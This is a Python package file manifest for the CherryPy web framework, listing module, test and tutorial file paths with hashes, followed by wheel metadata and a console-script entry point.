cherrypy/_cpdispatch.py,sha256=8GyvAkCOw84CZFbr3VdQmPqyMjlWHXG8SY2bnHvnPjA,25392
cherrypy/_cperror.py,sha256=tnnFu5d2Xu0JjMgzySlBtdVYcpY95pnwrH0duCKrKSI,23070
cherrypy/_cplogging.py,sha256=RyNDWhVt2K_QRsv1vOi2gG-yYOgW3UxjOhvQJ1Tv6qM,16402
cherrypy/_cpmodpy.py,sha256=plLF1jQ_qhsox4Ky8aKTsvSLXsNHs8gxTXIWCNB2PN0,11141
cherrypy/_cpnative_server.py,sha256=BtmMuMtdBmjb_kavTt6NdoREmqkHRhi1bUAG9EdhQuU,6677
cherrypy/_cpreqbody.py,sha256=85XtrtUq6wd1XeyRK2i2wiSY3QvJfaPnoLGMhhaks68,36382
cherrypy/_cprequest.py,sha256=ImUeaDMaqLMWuwoHzhXFayCkXrrtlYVBEj15Q92EVCo,34313
cherrypy/_cpserver.py,sha256=sai48_tDCkUrhqLKaSZSyk3aSIRxgUiMv6FNUe03PBY,8320
cherrypy/_cptools.py,sha256=Y35JizxKfVy3JNCbVido0rSXlyIzv4MrYDxdRuYG0bQ,18163
cherrypy/_cptree.py,sha256=_DLxtDfnPksYk5wlkLzsyCIk5TqrwE4wgkF1yFPdbko,10977
cherrypy/_cpwsgi.py,sha256=W3u6BKh1P_TZw9d5DzuwZhINXeQcMGvUVshN0iaFEOk,16394
cherrypy/_cpwsgi_server.py,sha256=ZILHc_ouGC_eARqrVTA1z5pdm9T5QLGURN4Idr0eiJQ,4187
cherrypy/_helper.py,sha256=bTZvfBpsZ0FDAGqtuuSblaiDloogxCpOyBy-XJF39vE,11653
cherrypy/_json.py,sha256=zxl6rLuW4xE5aiXJ0UPeI22NhdeLG-gDN_FFOMGikg0,440
cherrypy/daemon.py,sha256=kgiqlnWFx-PkLEcPPRJmXmB6zbI7X0cN2cCRtosow4c,3950
cherrypy/favicon.ico,sha256=jrNK5SnKfbnSFgX_xQyLX3khmeImw8IbbHgJVIsGci0,1406
cherrypy/lib/__init__.py,sha256=5_heysJFsUQMDLVNEFuCUbH03wWbA3lqsErmXLvPfFU,2745
cherrypy/lib/__pycache__/__init__.cpython-38.pyc,,
cherrypy/lib/__pycache__/auth_basic.cpython-38.pyc,,
cherrypy/lib/__pycache__/auth_digest.cpython-38.pyc,,
cherrypy/lib/__pycache__/caching.cpython-38.pyc,,
cherrypy/lib/__pycache__/covercp.cpython-38.pyc,,
cherrypy/lib/__pycache__/cpstats.cpython-38.pyc,,
cherrypy/lib/__pycache__/cptools.cpython-38.pyc,,
cherrypy/lib/__pycache__/encoding.cpython-38.pyc,,
cherrypy/lib/__pycache__/gctools.cpython-38.pyc,,
cherrypy/lib/__pycache__/httputil.cpython-38.pyc,,
cherrypy/lib/__pycache__/jsontools.cpython-38.pyc,,
cherrypy/lib/__pycache__/locking.cpython-38.pyc,,
cherrypy/lib/__pycache__/profiler.cpython-38.pyc,,
cherrypy/lib/__pycache__/reprconf.cpython-38.pyc,,
cherrypy/lib/__pycache__/sessions.cpython-38.pyc,,
cherrypy/lib/__pycache__/static.cpython-38.pyc,,
cherrypy/lib/__pycache__/xmlrpcutil.cpython-38.pyc,,
cherrypy/lib/auth_basic.py,sha256=FkySKMk0WC7OeLIefylkNyGORLpr9Rf98jQuxdBGHsA,4421
cherrypy/lib/auth_digest.py,sha256=ulK5cf7SNrFJAASg1ORrgi5mHxtJz8qBaPV8IUFDcw0,15342
cherrypy/lib/caching.py,sha256=rJ_fPGlZ3Dpbg-BEDZQHL-m4_LJHJg69tBrAqgfzOW8,17517
cherrypy/lib/covercp.py,sha256=ScvlzRydsh0Gn5FwZUKTRdI6ANKlYMDRE4niYRSVtQE,11566
cherrypy/lib/cpstats.py,sha256=luAeI7Dttzb3HhWUNsZUrNCrFp9LDXiBIOeVEzVmxiU,22854
cherrypy/lib/cptools.py,sha256=fzdi6K6TzlwLKFFKfQp9OCncwMpH5t9ThaXL2IGd20M,23402
cherrypy/lib/encoding.py,sha256=pnUVBiRioH9LpLU-K81u47yCviPebPNyX3P_Pzvv6Lw,17047
cherrypy/lib/gctools.py,sha256=5SI3w507J3JJConDjp8Jmgo6FI9uR59S_mm44cGB_Lw,7346
cherrypy/lib/httputil.py,sha256=IZRCxq9tOlZluemM5LCwmZe_62t-NAK1Xp0a29jadbU,17255
cherrypy/lib/jsontools.py,sha256=YQQmGQN4XKnSgB4u0lRl2MB9YkVeNR3-6YWyU76jUFQ,3641
cherrypy/lib/locking.py,sha256=RLUwVj07-xNnBavmcRkjs-fmg712S7wSk3Gnox9TyEg,1224
cherrypy/lib/profiler.py,sha256=1apBGddxzooel45y5TwH7VikJrwB8pvPk-6FjIs0R1U,6539
cherrypy/lib/reprconf.py,sha256=ZRiYeruM2593qrRBPCKbNSUe9QpgCbZvoPMhowqDTFA,12384
cherrypy/lib/sessions.py,sha256=BBad6BLiFlBMFXI_-dgTvv6f0bbEBIYNEd0DUzHcYuo,30998
cherrypy/lib/static.py,sha256=Zd-2RVUM3lrgU7Ag-HxAEWlMb22CzZ7fU5xatowfGGo,16592
cherrypy/lib/xmlrpcutil.py,sha256=UZqJsoBboSHjgsSiOfFcDwlubtSruhYyxpKdxutazQk,1684
cherrypy/process/__init__.py,sha256=RjaRqUG5U-ZhxAs7GBWN9PFR5hIK-9a9x3ZFwFjyW4Y,547
cherrypy/process/__pycache__/__init__.cpython-38.pyc,,
cherrypy/process/__pycache__/plugins.cpython-38.pyc,,
cherrypy/process/__pycache__/servers.cpython-38.pyc,,
cherrypy/process/__pycache__/win32.cpython-38.pyc,,
cherrypy/process/__pycache__/wspbus.cpython-38.pyc,,
cherrypy/process/plugins.py,sha256=nbwj3LUglw3V69Z9UFihTZrnZGaNuw_NkUbqcI14wKA,26817
cherrypy/process/servers.py,sha256=KojCzP2AxBV6D3URQX_blU8dfpkIL78OpfdwcQwRtt8,13442
cherrypy/process/win32.py,sha256=o_aT4XrUL6WcyVPti4O59apFd5ARoJz75VbiktdqqJk,5787
cherrypy/process/wspbus.py,sha256=wcDsxWtOBXyAAhcl2WZ6_mybs3N79GRtEeRu-zjXQ-8,21460
cherrypy/scaffold/__init__.py,sha256=sLK5vjy-_f6ikJ7-Lhj7HT8VGAIi6olqPuZMTD-RpAQ,1997
cherrypy/scaffold/__pycache__/__init__.cpython-38.pyc,,
cherrypy/scaffold/apache-fcgi.conf,sha256=0M10HHX8i2Or3r-gHoDglSQK4dZHd4Jhx4WhamJtuwc,930
cherrypy/scaffold/example.conf,sha256=EAqr2Sb1B1osc198dY1FV2A0wgnBmGsJf99_-GGexVU,62
cherrypy/scaffold/site.conf,sha256=pjUhF-ir1xzSsV7LqXGfyR6Ns_r_n3ATWw8OlfbgT3w,426
cherrypy/scaffold/static/made_with_cherrypy_small.png,sha256=VlSRvYj-pZzls-peicQhWpbqkdsZHtNhPtSfZV12BFQ,6347
cherrypy/test/__init__.py,sha256=jWQJbuVAcOuCITN7V8yrRz7U4rcK_ACx35Ephl4xwqY,396
cherrypy/test/__pycache__/__init__.cpython-38.pyc,,
cherrypy/test/__pycache__/_test_decorators.cpython-38.pyc,,
cherrypy/test/__pycache__/_test_states_demo.cpython-38.pyc,,
cherrypy/test/__pycache__/benchmark.cpython-38.pyc,,
cherrypy/test/__pycache__/checkerdemo.cpython-38.pyc,,
cherrypy/test/__pycache__/helper.cpython-38.pyc,,
cherrypy/test/__pycache__/logtest.cpython-38.pyc,,
cherrypy/test/__pycache__/modfastcgi.cpython-38.pyc,,
cherrypy/test/__pycache__/modfcgid.cpython-38.pyc,,
cherrypy/test/__pycache__/modpy.cpython-38.pyc,,
cherrypy/test/__pycache__/modwsgi.cpython-38.pyc,,
cherrypy/test/__pycache__/sessiondemo.cpython-38.pyc,,
cherrypy/test/__pycache__/test_auth_basic.cpython-38.pyc,,
cherrypy/test/__pycache__/test_auth_digest.cpython-38.pyc,,
cherrypy/test/__pycache__/test_bus.cpython-38.pyc,,
cherrypy/test/__pycache__/test_caching.cpython-38.pyc,,
cherrypy/test/__pycache__/test_config.cpython-38.pyc,,
cherrypy/test/__pycache__/test_config_server.cpython-38.pyc,,
cherrypy/test/__pycache__/test_conn.cpython-38.pyc,,
cherrypy/test/__pycache__/test_core.cpython-38.pyc,,
cherrypy/test/__pycache__/test_dynamicobjectmapping.cpython-38.pyc,,
cherrypy/test/__pycache__/test_encoding.cpython-38.pyc,,
cherrypy/test/__pycache__/test_etags.cpython-38.pyc,,
cherrypy/test/__pycache__/test_http.cpython-38.pyc,,
cherrypy/test/__pycache__/test_httputil.cpython-38.pyc,,
cherrypy/test/__pycache__/test_iterator.cpython-38.pyc,,
cherrypy/test/__pycache__/test_json.cpython-38.pyc,,
cherrypy/test/__pycache__/test_logging.cpython-38.pyc,,
cherrypy/test/__pycache__/test_mime.cpython-38.pyc,,
cherrypy/test/__pycache__/test_misc_tools.cpython-38.pyc,,
cherrypy/test/__pycache__/test_native.cpython-38.pyc,,
cherrypy/test/__pycache__/test_objectmapping.cpython-38.pyc,,
cherrypy/test/__pycache__/test_params.cpython-38.pyc,,
cherrypy/test/__pycache__/test_plugins.cpython-38.pyc,,
cherrypy/test/__pycache__/test_proxy.cpython-38.pyc,,
cherrypy/test/__pycache__/test_refleaks.cpython-38.pyc,,
cherrypy/test/__pycache__/test_request_obj.cpython-38.pyc,,
cherrypy/test/__pycache__/test_routes.cpython-38.pyc,,
cherrypy/test/__pycache__/test_session.cpython-38.pyc,,
cherrypy/test/__pycache__/test_sessionauthenticate.cpython-38.pyc,,
cherrypy/test/__pycache__/test_states.cpython-38.pyc,,
cherrypy/test/__pycache__/test_static.cpython-38.pyc,,
cherrypy/test/__pycache__/test_tools.cpython-38.pyc,,
cherrypy/test/__pycache__/test_tutorials.cpython-38.pyc,,
cherrypy/test/__pycache__/test_virtualhost.cpython-38.pyc,,
cherrypy/test/__pycache__/test_wsgi_ns.cpython-38.pyc,,
cherrypy/test/__pycache__/test_wsgi_unix_socket.cpython-38.pyc,,
cherrypy/test/__pycache__/test_wsgi_vhost.cpython-38.pyc,,
cherrypy/test/__pycache__/test_wsgiapps.cpython-38.pyc,,
cherrypy/test/__pycache__/test_xmlrpc.cpython-38.pyc,,
cherrypy/test/__pycache__/webtest.cpython-38.pyc,,
cherrypy/test/_test_decorators.py,sha256=U5y0mhWwTcCrYLjY3EWSkkz_Vw-z0bPSP5ujwb6b79Y,951
cherrypy/test/_test_states_demo.py,sha256=lVpbqHgHcIfdz1-i6xDbmzmD87V3JbwD_e4lK0Bagnw,1876
cherrypy/test/benchmark.py,sha256=GoTeD98I5tFaDDSQTxmy1OrmTM5XS8bybg41i2j3rB4,12563
cherrypy/test/checkerdemo.py,sha256=H8muNg9uHSAlDVYc-rICkcUKtJqzlTQfjYmMzC1Fuv4,1861
cherrypy/test/fastcgi.conf,sha256=0YsIPLmOg-NdGGqCCPpBERKGYy_zBU6LkRDyR41nvBE,686
cherrypy/test/fcgi.conf,sha256=neiD1sjiFblAJLUdlOSKiZ1uVl1eK3zM2_7LZQigkTs,486
cherrypy/test/helper.py,sha256=aKFNXMLrk14NRPDIaVEXcbGwN6ls3-2d1i26B9WNnIQ,16369
cherrypy/test/logtest.py,sha256=f22KP-7dVbmr7mEj9JQSNxaMUERYYvKxoeRx6PGCwqY,8151
cherrypy/test/modfastcgi.py,sha256=1uqYIQo0LqyaifeWf1GhAf8Ht8jdtI8T5gWiI49P1ME,4652
cherrypy/test/modfcgid.py,sha256=twCrCSavKZqOTqyN9K2q4VtBkEVpKs0dm8-GDlpLmSY,4237
cherrypy/test/modpy.py,sha256=pbSFkwS-bJZGOoXrs57mg3ndqTy89zR_x9QyGLlsTJQ,4978
cherrypy/test/modwsgi.py,sha256=kYF4qAhVwq5u2kLS_FYqCvyh0m_wSN_-Z7w03ZmNRIA,4834
cherrypy/test/sessiondemo.py,sha256=_vVruGha_8f6Fim_n9LgxwNxebbM6JgiqBvyX0WaEQc,5425
cherrypy/test/static/404.html,sha256=9jnU0KKbdzHVq9EvhkGOEly92qNJbtCSXOsH0KFTL4U,92
cherrypy/test/static/dirback.jpg,sha256=eS_X3BSeu8OSu-GTYndM1tJkWoW_oVJp1O_mmUUGeo8,16585
cherrypy/test/static/index.html,sha256=cB6ALrLhcxEGyMNgOHzmnBvmRnPCW_u3ebZUqdCiHkQ,14
cherrypy/test/style.css,sha256=2Ypw_ziOWlY4dTZJlwsrorDLqLA1z485lgagaGemtKQ,17
cherrypy/test/test.pem,sha256=x6LrLPw2dBRyZwHXk6FhdSDNM3-Cv7DBXc8o4A19RhI,2254
cherrypy/test/test_auth_basic.py,sha256=WatD1zSR8nnY85Hdxxs6iUkEyipgqMBt-Lk2_gVh9CQ,4499
cherrypy/test/test_auth_digest.py,sha256=6VgZBhz5MZcntE-qznmtwa7P6NrTPe9OFQ_fNH9QMOQ,4454
cherrypy/test/test_bus.py,sha256=K_6pYUz4q6xBOh5tMK67d3n_X1VF1LJhS1mRsGh0JnQ,9960
cherrypy/test/test_caching.py,sha256=s6aA_P6mcasaEfPwX50c9A-UqwSiYdzMVp5GFQH08uQ,14386
cherrypy/test/test_config.py,sha256=lUxRUCBmDVBo8LK7yi8w5qvFcS3vw4YpFwl66TdRskQ,8836
cherrypy/test/test_config_server.py,sha256=D7jLqZawCOh2z6vGU-WjkupiJA0BxPywb8LuILL2JGA,4037
cherrypy/test/test_conn.py,sha256=g2e2CCaB_2UiFWVLniVZbk2YNrXqN9_J0M1FymMZ_F8,30744
cherrypy/test/test_core.py,sha256=i1z0YWyMPmeAOkPvZMfPRJm40E6Y5yvnAiOeckx8nH8,30408
cherrypy/test/test_dynamicobjectmapping.py,sha256=0VpMCJq1APhGjqwYoYvx0irFJ4yb3NWqdE5RtK11uDM,12331
cherrypy/test/test_encoding.py,sha256=TbJ-PBuhDA7upGa-YwvzSRr9YuUubi-8kucPykR3VS4,17535
cherrypy/test/test_etags.py,sha256=mzuKNjFXx67gHoqS_jaGEzjxJ025mzlLgepsW2DYETI,3093
cherrypy/test/test_http.py,sha256=s5we0qreW82SubkSiPPXPgtRtTD86m5amwOGZkjUJ24,10939
cherrypy/test/test_httputil.py,sha256=gA3u7bt1vV2Av3T1I0CaEGEdYV9kGDEPD80al1IbPE8,2412
cherrypy/test/test_iterator.py,sha256=hBKYnKCxcr6DnLCRrwMGyR14t551qdYhrlEHKX7gFCQ,5724
cherrypy/test/test_json.py,sha256=rVfzyCwSMf79bcZ8aYBA_180FJxcHY9jFT5_0M6-pSc,2860
cherrypy/test/test_logging.py,sha256=hXL0UT8fv2xEwW853xu7OBg9Mm-Q2N_2GEho1w7H9gM,8315
cherrypy/test/test_mime.py,sha256=-6HpcAIGtN56nWRQclxvSKhNLW5e_bYRO6kDtM3DlN8,4538
cherrypy/test/test_misc_tools.py,sha256=Ixjq2IAJZ1BTuV-i_AUKw_OsjYru_i9RPm1gIWyWt_E,7094
cherrypy/test/test_native.py,sha256=rtow-ShYRkd2oEBtDksU6e06_L0BvZToFJFngeeGF34,971
cherrypy/test/test_objectmapping.py,sha256=KTMqAizhWBGCgDFp1n8msno4ylYPnmvWZ1cWHzzUgO0,14504
cherrypy/test/test_params.py,sha256=p4DfugiKWxF9nPX5Gs7arGhUmpx_eeZhWyS5yCXCUj4,1862
cherrypy/test/test_plugins.py,sha256=afO6r6XOLYaWPO-Crbei1W0xe_VDA1ippMkCtuo_ypc,334
cherrypy/test/test_proxy.py,sha256=XPdi3O_izRLtvu3UTJE-WTBVmn4DEng7irrfUD69srU,5630
cherrypy/test/test_refleaks.py,sha256=HK55E9JtRFc28FhnnTLV9DrM1k82ZmPEVdHYyp525K0,1555
cherrypy/test/test_request_obj.py,sha256=E8eitzZjVwmCCzdikaIvqZA8EPnRcZmuWZAchrgteEo,37097
cherrypy/test/test_routes.py,sha256=m0MvSqurFk42PuSp5vF8ue40-vnhPNwC2EGTqkDozo4,2583
cherrypy/test/test_session.py,sha256=Fxkm1kuth5tRb6FKiToFLETDmFwnQeVQKmDYLdo6pU0,17949
cherrypy/test/test_sessionauthenticate.py,sha256=zhVUpN3FWPaZbMKQcTrDQiaI-RXjlwrJi7ssqbzhmU8,2013
cherrypy/test/test_states.py,sha256=BWK_-08_tuxqJbHxjZK0_F6HOXKp0GwPODgLntCXqHU,16703
cherrypy/test/test_static.py,sha256=4VQpLumcxWGNFwaLuCgOS11pyla1gpGgQNlKhMOopws,16702
cherrypy/test/test_tools.py,sha256=cQELdifYvLfwJPg_0JoGQwyFvsgbuFXIJLUd8ejrgZA,17851
cherrypy/test/test_tutorials.py,sha256=eUYJZvhiRgq28fRteEks72TkfTxuOIxWKfEP3ApcLiE,6964
cherrypy/test/test_virtualhost.py,sha256=ap_e1gM7PERVN4mU70zc5RD1pVoSdN-te-B_uIAlV8g,4021
cherrypy/test/test_wsgi_ns.py,sha256=PuoUe2EUwZk5z0yLIw9NdRkd_P4VKU7Cckj8n0QKSJo,2812
cherrypy/test/test_wsgi_unix_socket.py,sha256=8guEkMHcOBhOGXYBfAThqCzpIBmUTNpqsilOpaRgD2c,2228
cherrypy/test/test_wsgi_vhost.py,sha256=4uZ8_luFHiQJ6uxQeHFJtjemug8UiPcKmnwwclj0dkw,1034
cherrypy/test/test_wsgiapps.py,sha256=1SdQGuWVcVCTiSvizDdIOekuvQLCybRXUKF2dpV2NTs,3997
cherrypy/test/test_xmlrpc.py,sha256=DQfgzjIMcQP_gOi8el1QQ5dkfPaRbyZ6CDdPL9ZIgWo,4584
cherrypy/test/webtest.py,sha256=uRwMw_why3KeXGZXdHE7-GfJag4ziL9KZmDGx4Q7Jbg,262
cherrypy/tutorial/README.rst,sha256=v77BbhuiK44TxqeYPk3PwqV09Dg5AKWFdp7re04KdEo,617
cherrypy/tutorial/__init__.py,sha256=cmLXfvQI0L6trCXwDzR0WE1bu4JZYt301HJRNhjZOBc,85
cherrypy/tutorial/__pycache__/__init__.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut01_helloworld.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut02_expose_methods.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut03_get_and_post.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut04_complex_site.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut05_derived_objects.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut06_default_method.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut07_sessions.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut08_generators_and_yield.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut09_files.cpython-38.pyc,,
cherrypy/tutorial/__pycache__/tut10_http_errors.cpython-38.pyc,,
cherrypy/tutorial/custom_error.html,sha256=9cMEb83zwct9i-fJlyl7yvBSNexF7yEIWOoxH8lpllQ,404
cherrypy/tutorial/pdf_file.pdf,sha256=_4ED6K9omlqDodRtP1G3oagWwF4vqQbT1yjeA2UASgw,85698
cherrypy/tutorial/tut01_helloworld.py,sha256=Au6IDz0Kd1XMPzb-vJL-1y_BWz0GgrljOtqOpzDZeOk,1015
cherrypy/tutorial/tut02_expose_methods.py,sha256=ikz6QOGLknEZm0k-f9BR18deItQ3UO8yYg1NW13kB8g,801
cherrypy/tutorial/tut03_get_and_post.py,sha256=bY_cTha4zIkokv585yioQkM-S2a7GfetTE3ovl3-7cw,1587
cherrypy/tutorial/tut04_complex_site.py,sha256=xg2llF64S2jg4geG9IlFL4RkQdsUXZtri0HvNXVy6Ac,2948
cherrypy/tutorial/tut05_derived_objects.py,sha256=u0LBnUTW8DnexEAtowhJ0sjeAqp6rS065TM2QXfDY1I,2141
cherrypy/tutorial/tut06_default_method.py,sha256=3Wx34fL_4P3M_dhu6RQdpXQeSriIJpSsy72IqpNQ6ns,2264
cherrypy/tutorial/tut07_sessions.py,sha256=fQo-v_ol5CjXiq4vdsm7Dh1us6DVDzbqAIouRkmLeR8,1228
cherrypy/tutorial/tut08_generators_and_yield.py,sha256=m5GfOtNDoGxMd1rw5tCRg3o9cTyt-e1gR-ALoLRLiQw,1288
cherrypy/tutorial/tut09_files.py,sha256=qcelN09_k62zWVC-daId5I4i-fw6TWA4WddUbG4j8B8,3463
cherrypy/tutorial/tut10_http_errors.py,sha256=6GllO8SI-6Xs6R8hRwHe7jUzGxYJxLlxwxgaOJC9i8Y,2706
cherrypy/tutorial/tutorial.conf,sha256=9ENgfRDyopHuignr_aHeMaWoC562xThbmlgF6zg4oEE,96
Wheel-Version: 1.0
Generator: bdist_wheel (0.36.2)
Root-Is-Purelib: true
Tag: py2-none-any
Tag: py3-none-any
[console_scripts]
cherryd = cherrypy.__main__:run
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please to comment